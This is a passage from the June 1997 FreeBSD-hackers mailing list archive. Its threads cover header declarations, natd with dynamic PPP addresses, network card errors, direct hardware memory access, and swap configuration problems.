Jun 1997 17:10:38 +0100 (BST) From: Jim Dixon X-Sender: jdd@avon-gw.uk1.vbc.net To: Brian Somers cc: hackers@FreeBSD.ORG Subject: Re: inconsistent declarations In-Reply-To: <199706221450.PAA24584@awfulhak.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 22 Jun 1997, Brian Somers wrote: > > /usr/include/dlfcn.h > > void *dlopen __P((const char *,int)); > > void *dlsym __P((void *, const char*)); > > > > /usr/include/link.h > > extern void *dlopen __P((char *,int)); > > extern void *dlsym __P((void *,char*)); > > I've just done a make includes in -current and 2.2 and it says > your dlfcn.h is out of date. 2.2 drops the const which eliminates the inconsistency, yes. -- Jim Dixon VBCnet GB Ltd http://www.vbc.net tel +44 117 929 1316 fax +44 117 927 2015 From owner-freebsd-hackers Sun Jun 22 11:26:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA16362 for hackers-outgoing; Sun, 22 Jun 1997 11:26:03 -0700 (PDT) Received: from haldjas.folklore.ee (Haldjas.folklore.ee [193.40.6.121]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA16356 for ; Sun, 22 Jun 1997 11:25:48 -0700 (PDT) Received: from localhost (narvi@localhost) by haldjas.folklore.ee (8.8.4/8.8.4) with SMTP id VAA14064 for ; Sun, 22 Jun 1997 21:55:17 +0300 (EEST) Date: Sun, 22 Jun 1997 21:55:17 +0300 (EEST) From: Narvi To: hackers@freebsd.org Subject: Tcl loadable packages Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk If one was to make a port of tcl loadable package, how would one go about it? Well, I know I have to make a shared library. How am I to name it - the original makefile, that does not work on FreeBSD tries to just make a xxxx.so file. Where am I to install it? Would it be addvisable to make a short tcl script for easy loading it? (it would only contain something like load /usr/local/.../xxx.so.1.0 xxxx) Sander There is no love, no good, no happiness and no future - all these are just illusions. From owner-freebsd-hackers Sun Jun 22 12:17:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA18484 for hackers-outgoing; Sun, 22 Jun 1997 12:17:19 -0700 (PDT) Received: from gnosis.doc.ic.ac.uk (md@dialup-port1.dcs.qmw.ac.uk [138.37.88.231]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA18476 for ; Sun, 22 Jun 1997 12:17:13 -0700 (PDT) Received: (from md@localhost) by gnosis.doc.ic.ac.uk (8.7.5/8.6.9) id UAA00642; Sun, 22 Jun 1997 20:18:41 +0100 Date: Sun, 22 Jun 1997 20:18:41 +0100 From: Mark Dawson Message-Id: <199706221918.UAA00642@gnosis.doc.ic.ac.uk> To: hackers@FreeBSD.ORG Subject: Re: SMC 9332BDT Help me please... Cc: md@gnosis.doc.ic.ac.uk Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Am I the only running into this problem ? No. I've tried many versions of Matt's driver with these cards and cannot get satisfactory performance at 100Mbps. 'netstat -in' gives rising Oerrs, viz: iron% netstat -in Name Mtu Network Address Ipkts Ierrs Opkts Oerrs Coll lnc1* 1500 00.80.5f.92.c0.fe 0 0 0 0 0 de0 1500 00.00.c0.01.f5.f2 1292221 0 1189624 6 29 de0 1500 138.37.88/24 138.37.88.154 1292221 0 1189624 6 29 de1 1500 00.00.c0.00.f5.f2 159582 0 64 0 0 de1 1500 atalk:9279 9279.23 159582 0 64 0 0 ...ps aux... iron% netstat -in Name Mtu Network Address Ipkts Ierrs Opkts Oerrs Coll lnc1* 1500 00.80.5f.92.c0.fe 0 0 0 0 0 de0 1500 00.00.c0.01.f5.f2 1292287 0 1189676 7 29 de0 1500 138.37.88/24 138.37.88.154 1292287 0 1189676 7 29 de1 1500 00.00.c0.00.f5.f2 159589 0 64 0 0 de1 1500 atalk:9279 9279.23 159589 0 64 0 0 and consequently poor performance - I couldn't put these cards into live service! Matt: do you want me to send you one? Mark From owner-freebsd-hackers Sun Jun 22 12:21:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA18744 for hackers-outgoing; Sun, 22 Jun 1997 12:21:45 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA18739 for ; Sun, 22 Jun 1997 12:21:37 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id VAA26644 for hackers@freebsd.org; Sun, 22 Jun 1997 21:21:34 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id VAA23053; Sun, 22 Jun 1997 21:06:07 +0200 (MET DST) Message-ID: <19970622210607.YR42267@uriah.heep.sax.de> Date: Sun, 22 Jun 1997 21:06:07 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@freebsd.org Subject: Re: vnconfig and MSDOS FS References: <199706220526.PAA21334@godzilla.zeta.org.au> <199706221253.OAA00285@campa.panke.de> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199706221253.OAA00285@campa.panke.de>; from Wolfram Schneider on Jun 22, 1997 14:53:21 +0200 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Wolfram Schneider wrote: > Here is a patch for vnconfig.8 You've got commit privs. ;-) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Jun 22 12:39:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA19371 for hackers-outgoing; Sun, 22 Jun 1997 12:39:53 -0700 (PDT) Received: from mail.cs.tu-berlin.de (root@mail.cs.tu-berlin.de [130.149.17.13]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA19363 for ; Sun, 22 Jun 1997 12:39:49 -0700 (PDT) Received: from caramba.cs.tu-berlin.de (wosch@caramba.cs.tu-berlin.de [130.149.17.12]) by mail.cs.tu-berlin.de (8.8.6/8.8.6) with ESMTP id VAA27995; Sun, 22 Jun 1997 21:39:11 +0200 (MET DST) Received: (from wosch@localhost) by caramba.cs.tu-berlin.de (8.8.6/8.8.5) id VAA12505; Sun, 22 Jun 1997 21:39:08 +0200 (MET DST) Message-ID: <19970622213908.13080@caramba.cs.tu-berlin.de> Date: Sun, 22 Jun 1997 21:39:08 +0200 From: Wolfram Schneider To: Joerg Wunsch Cc: hackers@FreeBSD.ORG Subject: Re: vnconfig and MSDOS FS References: <199706220526.PAA21334@godzilla.zeta.org.au> <199706221253.OAA00285@campa.panke.de> <19970622210607.YR42267@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii In-Reply-To: <19970622210607.YR42267@uriah.heep.sax.de>; from J Wunsch on Sun, Jun 22, 1997 at 09:06:07PM +0200 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, Jun 22, 1997 at 09:06:07PM +0200, J Wunsch wrote: > > Here is a patch for vnconfig.8 > > You've got commit privs. ;-) Sometimes I wish/hope somebody review my patches before I commit ;-) -- Wolfram Schneider http://www.apfel.de/~wosch/ From owner-freebsd-hackers Sun Jun 22 12:40:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA19477 for hackers-outgoing; Sun, 22 Jun 1997 12:40:17 -0700 (PDT) Received: from iafnl.es.iaf.nl (uucp@iafnl.es.iaf.nl [195.108.17.20]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA19468 for ; Sun, 22 Jun 1997 12:40:11 -0700 (PDT) Received: by iafnl.es.iaf.nl with UUCP id AA03124 (5.67b/IDA-1.5 for FreeBSD-hackers@freebsd.org); Sun, 22 Jun 1997 21:40:26 +0200 Received: (from wilko@localhost) by yedi.iaf.nl (8.8.5/8.6.12) id RAA02320 for FreeBSD-hackers@freebsd.org; Sun, 22 Jun 1997 17:34:17 +0200 (MET DST) From: Wilko Bulte Message-Id: <199706221534.RAA02320@yedi.iaf.nl> Subject: Re: Lockup during kernel device probe on 2.2.1R To: yokota@zodiac.mech.utsunomiya-u.ac.jp (Kazutaka YOKOTA) Date: Sun, 22 Jun 1997 17:33:49 +0200 (MET DST) Cc: yokota@zodiac.mech.utsunomiya-u.ac.jp In-Reply-To: <199706082335.IAA06277@zodiac.mech.utsunomiya-u.ac.jp> from "Kazutaka YOKOTA" at Jun 9, 97 08:35:29 am X-Mailer: ELM [version 2.4 PL24 ME8a] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Kazutaka YOKOTA wrote... > > So, the video cards which failed to boot 2.2.1R are 2 VGAs and 1 EGA, > right? Would you tell us the brands and models of these cards? > > What I can think of is... > > Try booting the 2.2.2R boot.flp on the failed systems and see how > it goes. If they can boot the floppy, you may either: > > a) install 2.2.2R rather than 2.2.1R, or > b) put the Orchid card in the failed systems and install 2.2.1R. > Then apply the following patch to /sys/i386/isa/syscons.c so that [deleted patch] > the syscons driver is brought to the level of 2.2.2R, and put > back the original video card. I finally found the time to try your patch. Applying it indeed solves the lockup I was experiencing. As noted before, it was not the VGA card but the type of keyboard that influences the behaviour. While experimenting, I also found that turning the system keyswitch (these are real server type machines, on which you can lock the keyboard with a switch) from unlocked (which is normal if you want to use the keyboard) to locked DURING the kernel lockup made the device probing continue normally. Then turn the key to unlocked again and the machine works just fine. Thanks to all helpful people that offered advice, Wilko _ ____________________________________________________________________ | / o / / _ Bulte email: wilko@yedi.iaf.nl - Arnhem, The Netherlands |/|/ / / /( (_) Do, or do not. There is no 'try' - Yoda -------------------------------------------------------------------------- From owner-freebsd-hackers Sun Jun 22 12:40:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA19514 for hackers-outgoing; Sun, 22 Jun 1997 12:40:26 -0700 (PDT) Received: from iafnl.es.iaf.nl (uucp@iafnl.es.iaf.nl [195.108.17.20]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA19490 for ; Sun, 22 Jun 1997 12:40:20 -0700 (PDT) Received: by iafnl.es.iaf.nl with UUCP id AA03128 (5.67b/IDA-1.5 for FreeBSD-hackers@freebsd.org); Sun, 22 Jun 1997 21:40:38 +0200 Received: (from wilko@localhost) by yedi.iaf.nl (8.8.5/8.6.12) id VAA03802 for FreeBSD-hackers@freebsd.org; Sun, 22 Jun 1997 21:07:25 +0200 (MET DST) From: Wilko Bulte Message-Id: <199706221907.VAA03802@yedi.iaf.nl> Subject: natd & dynamic adresses via isdn/ppp To: FreeBSD-hackers@freebsd.org (FreeBSD hackers list) Date: Sun, 22 Jun 1997 21:07:25 +0200 (MET DST) X-Mailer: ELM [version 2.4 PL24 ME8a] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi Is it possible to use natd in an environment that has changing IP addresses to the outside world? Our dialup link is a ISDN/ppp link with dynamically configured IP adresses (ISDN/ppp works like a charm now BTW) I'm confused on the possibilities for natd to work with this. The list archives show quite some discussion but not a real answer (at least I could not find it..) TIA Wilko _ ____________________________________________________________________ | / o / / _ Bulte email: wilko@yedi.iaf.nl - Arnhem, The Netherlands |/|/ / / /( (_) Do, or do not. There is no 'try' - Yoda -------------------------------------------------------------------------- From owner-freebsd-hackers Sun Jun 22 13:30:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA21188 for hackers-outgoing; Sun, 22 Jun 1997 13:30:05 -0700 (PDT) Received: from cais.cais.com (root@cais.com [199.0.216.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA21181 for ; Sun, 22 Jun 1997 13:30:02 -0700 (PDT) Received: from earth.mat.net (root@earth.mat.net [205.252.122.1]) by cais.cais.com (8.8.5/) with SMTP id QAA01509 for ; Sun, 22 Jun 1997 16:30:01 -0400 (EDT) Received: from Journey2.mat.net (journey2.mat.net [205.252.122.116]) by earth.mat.net (8.6.12/8.6.12) with SMTP id QAA18890 for ; Sun, 22 Jun 1997 16:29:59 -0400 Date: Sun, 22 Jun 1997 16:29:49 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@Journey2.mat.net To: FreeBSD-Hackers Subject: docs Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Take a look at this web pointer (or the postscript thing) I found. I was looking for help in setting up ssh when I got this, and it's kinda impressive. http://www-wks.acs.ohio-state.edu/sysadm_course/sysadm.html or ftp://www-wks.acs.ohio-state.edu/sysadm_course/sysadm_book.ps.gz Pretty good thing on system administration for Unix boxes. ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Sun Jun 22 15:55:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA26659 for hackers-outgoing; Sun, 22 Jun 1997 15:55:10 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA26650 for ; Sun, 22 Jun 1997 15:55:00 -0700 (PDT) Received: from awfulhak.demon.co.uk (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id XAA09754; Sun, 22 Jun 1997 23:12:43 +0100 (BST) Message-Id: <199706222212.XAA09754@awfulhak.demon.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: Wilko Bulte cc: FreeBSD-hackers@FreeBSD.ORG (FreeBSD hackers list) Subject: Re: natd & dynamic adresses via isdn/ppp In-reply-to: Your message of "Sun, 22 Jun 1997 21:07:25 +0200." <199706221907.VAA03802@yedi.iaf.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 22 Jun 1997 23:12:42 +0100 From: Brian Somers Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Hi > > Is it possible to use natd in an environment that has changing IP > addresses to the outside world? Our dialup link is a ISDN/ppp link > with dynamically configured IP adresses (ISDN/ppp works like a charm > now BTW) > > I'm confused on the possibilities for natd to work with this. The > list archives show quite some discussion but not a real answer (at > least I could not find it..) If you're using ppp, just use the -alias switch. Things like changing IP numbers are automatically dealt with. If you really need to use natd, you can give it the -dynamic switch. It tells natd to read the routing socket so that it notices changes to the interfaces IP number (you must also use the -n option). The -dynamic switch was broken between version 1.4 & 1.8 of natd, but the version committed to the main source tree yesterday (v1.8) should work ok. > TIA > Wilko > _ ____________________________________________________________________ > | / o / / _ Bulte email: wilko@yedi.iaf.nl - Arnhem, The Netherlands > |/|/ / / /( (_) Do, or do not. There is no 'try' - Yoda > -------------------------------------------------------------------------- -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Jun 22 15:57:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA26780 for hackers-outgoing; Sun, 22 Jun 1997 15:57:08 -0700 (PDT) Received: from awfulhak.demon.co.uk (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA26766 for ; Sun, 22 Jun 1997 15:56:33 -0700 (PDT) Received: from awfulhak.demon.co.uk (localhost [127.0.0.1]) by awfulhak.demon.co.uk (8.8.5/8.8.5) with ESMTP id WAA09144; Sun, 22 Jun 1997 22:58:42 +0100 (BST) Message-Id: <199706222158.WAA09144@awfulhak.demon.co.uk> X-Mailer: exmh version 1.6.9 8/22/96 To: "Jordan K. Hubbard" cc: Brian Somers , Annelise Anderson , kleon@bellsouth.net, freebsd-hackers@FreeBSD.ORG Subject: Re: Handbook - ascii form?? In-reply-to: Your message of "Sun, 22 Jun 1997 08:36:09 PDT." <15600.866993769@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 22 Jun 1997 22:58:42 +0100 From: Brian Somers Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > [-questions removed to reduce cross-list spammage] > > > Has anyone any objections (cc'd to freebsd-hackers) to me adding > > a .txt version of the handbook & FAQ ? > > What do you mean, exactly? Check in ascii versions? Yeeks, no. How > is the existing method of producing ISO latin1 versions so onerous, > exactly? Sorry - handbook.ascii is already generated. I was being stupid. I can appreciate that some people have problems with latin - DOS/Win stuff won't grok the ^Hs. I just didn't realize that .ascii is already there - despite being in that code only a few weeks ago. In short, oops. Bad day ! > Jordan -- Brian , Don't _EVER_ lose your sense of humour.... From owner-freebsd-hackers Sun Jun 22 16:55:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA28794 for hackers-outgoing; Sun, 22 Jun 1997 16:55:09 -0700 (PDT) Received: from aak.anchorage.net (ai-136.anchorage.net [207.14.72.136]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA28788 for ; Sun, 22 Jun 1997 16:55:05 -0700 (PDT) Received: from localhost (abc@localhost) by aak.anchorage.net (8.8.5/8.8.5) with SMTP id PAA15600 for ; Sun, 22 Jun 1997 15:43:36 -0800 (AKDT) X-Authentication-Warning: aak.anchorage.net: abc owned process doing -bs Date: Sun, 22 Jun 1997 15:43:36 -0800 (AKDT) From: Steve Howe X-Sender: abc@aak.anchorage.net To: freebsd-hackers Subject: direct access Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk i wanted to port a hex/block editor from DOS. it can read/write 1 RAM blocks 2 Port Addresses 3 Hard/Floppy Drives 4 Files however, i am finding even simple things like ... ///////////////////////////////////////////////// int main (void) { unsigned char * p = (unsigned char *)0x000b8000; while ( 1 ) { printf("%c", *p++); getch(); } return 0; } ///////////////////////////////////////////////// where i try to read the CGA/VGA screen, bomb with "segmentation violation" errors. is the kernel examining op codes on the run, or what? is it at all possible to write Device editors? at any level of coding? ------------------------------------------------- FingerPrint BA09868C 1B995204 58410FD3 A5E7B2DA http://www.geocities.com/siliconvalley/way/7747 ------------------------------------------------- From owner-freebsd-hackers Sun Jun 22 18:01:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA01728 for hackers-outgoing; Sun, 22 Jun 1997 18:01:39 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id SAA01721 for ; Sun, 22 Jun 1997 18:01:29 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wfxSO-0006L4-00; Sun, 22 Jun 1997 17:58:12 -0700 Date: Sun, 22 Jun 1997 17:58:11 -0700 (PDT) From: Tom Samplonius To: Steve Howe cc: freebsd-hackers Subject: Re: direct access In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sun, 22 Jun 1997, Steve Howe wrote: > > i wanted to port a hex/block editor from DOS. > > it can read/write 1 RAM blocks > 2 Port Addresses > 3 Hard/Floppy Drives > 4 Files > > however, i am finding even simple things like ... > ///////////////////////////////////////////////// > int main (void) { > > unsigned char * p = (unsigned char *)0x000b8000; > > while ( 1 ) { printf("%c", *p++); getch(); } return 0; > } > ///////////////////////////////////////////////// > where i try to read the CGA/VGA screen, bomb with > "segmentation violation" errors. > > is the kernel examining op codes on the run, or what? > is it at all possible to write Device editors? > at any level of coding? > > ------------------------------------------------- > FingerPrint BA09868C 1B995204 58410FD3 A5E7B2DA > http://www.geocities.com/siliconvalley/way/7747 > ------------------------------------------------- FreeBSD is unix. Unix is a multi-user operating system. Unix uses the memory management functions of the CPU to protect the memory space of each process. I thought everyone knew this? Tom From owner-freebsd-hackers Sun Jun 22 18:13:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA02302 for hackers-outgoing; Sun, 22 Jun 1997 18:13:21 -0700 (PDT) Received: from cais.cais.com (root@cais.com [199.0.216.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA02297 for ; Sun, 22 Jun 1997 18:13:18 -0700 (PDT) Received: from earth.mat.net (root@earth.mat.net [205.252.122.1]) by cais.cais.com (8.8.5/) with SMTP id VAA26746; Sun, 22 Jun 1997 21:11:04 -0400 (EDT) Received: from Journey2.mat.net (journey2.mat.net [205.252.122.116]) by earth.mat.net (8.6.12/8.6.12) with SMTP id VAA02560; Sun, 22 Jun 1997 21:10:57 -0400 Date: Sun, 22 Jun 1997 21:10:45 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@Journey2.mat.net To: Steve Howe cc: freebsd-hackers Subject: Re: direct access In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 22 Jun 1997, Steve Howe wrote: > > i wanted to port a hex/block editor from DOS. > > it can read/write 1 RAM blocks > 2 Port Addresses > 3 Hard/Floppy Drives > 4 Files > > however, i am finding even simple things like ... > ///////////////////////////////////////////////// > int main (void) { > > unsigned char * p = (unsigned char *)0x000b8000; > > while ( 1 ) { printf("%c", *p++); getch(); } return 0; > } > ///////////////////////////////////////////////// > where i try to read the CGA/VGA screen, bomb with > "segmentation violation" errors. > > is the kernel examining op codes on the run, or what? > is it at all possible to write Device editors? > at any level of coding? Dos is a single user OS, with no protection. Unix OSes, like FreeBSD, are multiuser, and do not allow ordinary users to directly access any devices directly. Instead, the OS supervises the device, so you use things like ioctl calls to manipulate things. FreeBSD also has virtual memory, which means that you can run one program, or even many programs, that are larger in size than your physical memory. When you try to write into a particular address in memory, you are actually having that address remapped for you into some virtual memory. The addresses you learned from dos programming are useless here. It really sounds like you ought to go purchase either a beginners Unix book, or maybe an operating systems textbook, depending on where your interests lie. For some reason (I don't know why) I think I'd recommend the Operating Systems textbook for you first. It'll give you an idea how things like virtual memory and device drivers work. You'll get an idea why most FreeBSD programmers think of dos as a toy OS, not a real one. ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Sun Jun 22 18:16:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA02484 for hackers-outgoing; Sun, 22 Jun 1997 18:16:15 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA02479 for ; Sun, 22 Jun 1997 18:16:13 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id DAA00272 for hackers@freebsd.org; Mon, 23 Jun 1997 03:14:36 +0200 (CEST) From: Mikael Karpberg Message-Id: <199706230114.DAA00272@ocean.campus.luth.se> Subject: Swap problems To: hackers@freebsd.org Date: Mon, 23 Jun 1997 03:14:36 +0200 (CEST) X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi! I have a problem with an installation of FreeBSD 2.2-970618-RELENG. First of all a small note: The installation program tried to install XFree86 3.3, which where NOWHERE to be found even close to something called 2.2. Now... My problem is that my computer wont swap. Why is this not working? ocean# swapon -a swapon: /dev/wd0b: Device not configured ocean# dir /dev/*wd0b* crw-r----- 1 root operator 3, 1 Jun 23 01:43 /dev/rwd0b brw-r----- 1 root operator 0, 1 Jun 23 01:43 /dev/wd0b ocean# cat /etc/fstab # Device Mountpoint FStype Options Dump Pass# /dev/wd0b none swap sw 0 0 /dev/wd0a / ufs rw 1 1 [...] It didn't work with the default kernel, so I tried compiling something from a pretty unchanged GENERIC, and then even added NSWAPDEV to it. Here's a part of my config file: [...] options UCONSOLE #Allow users to grab the console options FAILSAFE #Be conservative options NSWAPDEV=2 config kernel root on wd0 controller isa0 controller eisa0 controller fdc0 at isa? port "IO_FD1" bio irq 6 drq 2 vector fdintr disk fd0 at fdc0 drive 0 options "CMD640" # work around CMD640 chip deficiency controller wdc0 at isa? port "IO_WD1" bio irq 14 vector wdintr disk wd0 at wdc0 drive 0 disk wd1 at wdc0 drive 1 [...] I really can't figure out what's wrong. I never used to have any problems with swap before. Anybody got any clue? Any checklist I should go through? Help me anyone? *puppy eyes* :-) /Mikael From owner-freebsd-hackers Sun Jun 22 18:49:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA03635 for hackers-outgoing; Sun, 22 Jun 1997 18:49:06 -0700 (PDT) Received: from cypher.net (black@zen.pratt.edu [205.232.115.155]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA03630 for ; Sun, 22 Jun 1997 18:49:03 -0700 (PDT) Received: (from black@localhost) by cypher.net (8.8.5/8.7.1) id VAA10328; Sun, 22 Jun 1997 21:49:57 -0400 Date: Sun, 22 Jun 1997 21:49:56 -0400 (EDT) From: Ben Black To: Chuck Robey cc: Steve Howe , freebsd-hackers Subject: Re: direct access In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk DOS isn't a toy OS. it's a bootloader. From owner-freebsd-hackers Sun Jun 22 18:59:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA04068 for hackers-outgoing; Sun, 22 Jun 1997 18:59:51 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA04059 for ; Sun, 22 Jun 1997 18:59:48 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id SAA04755; Sun, 22 Jun 1997 18:59:51 -0700 (PDT) To: Mikael Karpberg cc: hackers@FreeBSD.ORG Subject: Re: Swap problems In-reply-to: Your message of "Mon, 23 Jun 1997 03:14:36 +0200." <199706230114.DAA00272@ocean.campus.luth.se> Date: Sun, 22 Jun 1997 18:59:49 -0700 Message-ID: <4751.867031189@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > First of all a small note: The installation program tried to install > XFree86 3.3, which where NOWHERE to be found > even close to something called 2.2. Already fixed at current.freebsd.org/releng22.freebsd.org, thanks. > Now... My problem is that my computer wont swap. > Why is this not working? Does your disklabel say that b is of type swap also? I'm not sure how rigidly enforced that is, but it is so marked on my machine. Jordan From owner-freebsd-hackers Sun Jun 22 19:00:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA04204 for hackers-outgoing; Sun, 22 Jun 1997 19:00:14 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA04158 for ; Sun, 22 Jun 1997 19:00:02 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.8.5/8.8.5) id UAA00199; Sun, 22 Jun 1997 20:59:55 -0500 (EST) From: "John S. Dyson" Message-Id: <199706230159.UAA00199@dyson.iquest.net> Subject: Re: Swap problems In-Reply-To: <199706230114.DAA00272@ocean.campus.luth.se> from Mikael Karpberg at "Jun 23, 97 03:14:36 am" To: karpen@ocean.campus.luth.se (Mikael Karpberg) Date: Sun, 22 Jun 1997 20:59:55 -0500 (EST) Cc: hackers@FreeBSD.ORG Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Now... My problem is that my computer wont swap. > Why is this not working? > > ocean# swapon -a > swapon: /dev/wd0b: Device not configured > ocean# dir /dev/*wd0b* > crw-r----- 1 root operator 3, 1 Jun 23 01:43 /dev/rwd0b > brw-r----- 1 root operator 0, 1 Jun 23 01:43 /dev/wd0b > What does your dmesg output look like? Also, check the output of the disklabel command: disklabel wd0 and make sure that the system sees your "b" partition. John From owner-freebsd-hackers Sun Jun 22 19:00:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA04250 for 